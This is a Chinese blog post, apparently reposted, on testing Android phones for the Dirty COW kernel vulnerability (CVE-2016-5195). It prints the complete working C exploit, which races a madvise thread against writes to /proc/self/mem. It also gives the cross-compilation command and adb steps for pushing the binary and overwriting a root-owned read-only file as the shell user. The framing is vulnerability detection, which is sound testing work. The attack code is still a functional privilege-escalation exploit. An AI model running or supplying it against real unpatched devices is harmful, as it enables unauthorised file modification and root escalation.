android系统中检测dirtycow(脏牛)漏洞的方法

来源:互联网 发布:cygwin搭建linux环境 编辑:程序博客网 时间:2024/06/05 19:47

一、脏牛漏洞简介

Linux内核的内存子系统在处理copy-on-write(COW)时出现竞争条件,导致私有只读存储器映射被破坏,可利用此漏洞非法获得读写权限,进而提升权限。

android系统中的普通用户,若对root用户创建文件只有读权限,利用该漏洞,可以达到对文件进行写操作。这也是检测该漏洞的主要方法。

该漏洞(CVE-2016-5195)Google已在2016年12月公布的patch中进行修复。

二、检测漏洞的源代码、编译

1.源代码

源代码在dirtycowtest.c文件中,内容如下:

(参考http://blog.csdn.net/microzone/article/details/52885882)

/* * main.c * *  Created on:2017.3.22 *   Author: spreadtrum.com */#include<stdio.h>#include<sys/mman.h>#include<fcntl.h>#include<pthread.h>#include<string.h>void *map;int f;struct stat st;char* name;void * madviseThread(void *arg){char *str;str = (char *) arg;int i, c = 0;for (i = 0; i < 100000000; i++){c += madvise(map, 100, MADV_DONTNEED);}printf("madvise %d\n", c);}void * procselfmemThread(void *arg){char *str;str = (char *) arg;int f = open("/proc/self/mem", O_RDWR);int i, c = 0;for (i = 0; i < 100000000; i++){lseek(f, map, SEEK_SET);c += write(f, str, strlen(str));}printf("procselfmem %d\n", c);}int main(int argc, char *argv[]){if (argc < 3)return 1;pthread_t pth1, pth2;f = open(argv[1], O_RDONLY);fstat(f, &st);name = argv[1];map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);pthread_create(&pth1, NULL, madviseThread, argv[1]);pthread_create(&pth2, NULL, procselfmemThread, argv[2]);pthread_join(pth1, NULL);pthread_join(pth2, NULL);return 0;}
2.编译

由于要在android上运行,而当前系统是ubuntu,所以需要使用交叉编译工具进行编译:

arm-linux-gnueabi-gcc -static dirtycowtest.c  -o dirtycowtest -lpthread
交叉编译工具的安装方法:

sudo apt-get install gcc-arm-linux-gnueabi
使用如下命令查看交叉编译工具是否安装/安装成功:

gcc-arm-linux-gnueabi -v

编译通过后,会生成dirtycowtest为名称的可执行文件。


三、漏洞测试过程

预置条件:

1.手机具有root权限

2.将二进制可执行文件dirtycowtest push到手机中,并赋予权限,使得shell用户可以运行:

adb rootadb remountadb push dirtycowtest /system/binadb shellcd /system/binchmod 777 dirtycowtest
3.准备一个被测试的文档,属主为root,shell只读:

新建一个文档,test.txt,编辑其内容为“abcdefghigklmnopqrstuvwxyz”,push到手机,并设置权限

adb push test.txt /data/test.txtadb shellcd /datachmod 664 test.txt
查看test.txt文件的内容以及权限:

cat test.txt//结果为abcdefghigklmnopqrstuvwxyzls -l |grep test//结果为-rw-rw-r-- root     root           26 2017-03-20 17:10 test.txt

4.重启手机,以shell身份连接adb,进入shell

测试步骤:

1.查看shell的id


2.查看root的id和文件test.txt内容以及其权限


3.shell下执行dirtycowtest命令,并查看test.txt内容已经更改:


由此可见,在只有读权限的情况下,shell对test.txt进行写操作,具有越权操作的能力。



本文所涉及的代码、文件下载路径:

http://download.csdn.net/detail/wlc520123/9789986

0 0